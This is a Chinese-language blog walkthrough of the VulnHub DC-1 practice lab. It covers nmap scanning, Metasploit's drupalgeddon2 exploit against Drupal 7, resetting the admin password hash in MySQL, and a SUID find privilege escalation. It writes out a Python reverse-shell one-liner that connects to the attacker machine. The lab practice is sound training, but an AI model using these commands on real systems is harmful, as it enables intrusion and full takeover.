vulnhub dc1 记录

最近想转行到渗透,所以学习一下vulnhub,作为php程序员,对web方面的知识掌握的快,也很熟悉,但是对于系统方面和后渗透方面的东西还不是很熟悉。

vulnhub能提供很好的学习环境,遇到不会的可以搜一下思路,节省了时间。

一 安装

这是下载地址,直接丢到下载软件里下载即可。

http://www.five86.com/downloads/DC-1.zip

https://download.vulnhub.com/dc/DC-1.zip

解压缩后,是DC-1.ova这样的一个文件,直接用虚拟机软件打开就行。

我用的virtualbox,启动后会出现usb2报错,因为这个环境中用不到usb,所以直接禁掉usb,顺利进入环境

 渗透机使用的kali,这里就不介绍安装了

二 信息收集

已知本地渗透机ip:192.168.2.111

1.对于目标机,我们只知道在本地,而不知道具体的ip,所以要扫描一下存活主机

sudo nmap -v -sS 192.168.2.0/24

  

2.发现目标机ip和端口后,看到有80web端口,直接用浏览器打开ip

3.发现web用的是drupal,这时候有两条思路,第一条,继续收集目标网站的其他信息,第二条是直接搜索有没有漏洞

我才用第二条,直接寻找drupal的漏洞

1)whatweb查看drupal的版本

 whatweb 192.168.2.112

  

可以发现是drupal 7

2)用searchexploid查看一下是否有相关漏洞,也可以百度谷歌找一下有没有相关漏洞

 可以发现有很多漏洞,其中7版本的也很多,发现有metasploit的版本,我们直接使用msf来进行快速渗透

三 渗透

1.启动msfconsole

service postgresql start  #先启动数据库,否则在msfconsole里搜索会很慢

msfconsole

search drupal #看看有哪些可以漏洞

  

 

我们直接使用4

use exploit/unix/webapp/drupal_drupalgeddon2 
set rhosts 192.168.2.112

 exploit 

等一会,可以看到成功了

shell #进入命令行模式

python -c "import pty;pty.spawn('/bin/bash')"

可以看到了熟悉的linux命令行界面

2.寻找flag

ls

cat flag1.txt

 提示说可以去看看cms的配置文件

百度后,drupal的配置文件在sites里面,我们进入里面寻找

3.寻找flag2

最终在 /var/www/sites/default/settings.php里找到了flag2 和数据库的配置

 给的提示是说 暴力破解不是唯一的路,也就是想要我们进到web后台看一看

3.寻找flag3

我们直接进数据库里看看

数据库中只找到了users表,但是密码不是普通的md5,需要百度一下drupal的密码生成规则,或如何重置密码

百度后知道有几种方法可以获得加密后的密码

第一种使用php代码,第二种直接用sh文件

为了方便,直接用第二种方法 在/var/www/scripts下有一个password-hash.sh的文件 

可以使用

./password-hash.sh --help #查看帮助

./password-hash.sh "123456" #获得123456加密后的密码 

这里有个问题,直接运行会报错,我们退回到上一目录 ,执行如下命令

./scripts/password-hash.sh "123456" 

获得加密后的密码,我们就可以直接去mysql里把admin的密码替换掉

update users set pass="上面得到的密码" where name="admin"; 

然后直接登录drupal,找找有没有什么线索。

 发现了这个,直接点击查看

 4.suid提权

因为这方面知识是在短缺,看的我一脸懵,百度后得知,需要使用linux的suid提权

详情可以参考这个

 https://blog.csdn.net/qq_36119192/article/details/84872644

具体的命令是

find web.config -exec whoami \;

  

查看是不是显示root ,如果是的话,可以下一步

这一步是反射一个shell到渗透机上,渗透机需要开启监听

nc -lvp 4445  #渗透kali执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.111",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #目标机执行

  

运行后,发现渗透机获取的是www的权限,而不是root

把上面的find和刚输入的命令结合起来,也就是说替换掉web.config

find web.config -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.111",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  \;

  

这样就能获得目标机的root权限

然后我们在find flag看看

find / -name "*flag*"

 

 搞定!

从这个练习中,可以发现对于提权十分不熟悉,还需要多多努力。

猜你喜欢

转载自www.cnblogs.com/darkz88/p/13365708.html
DC1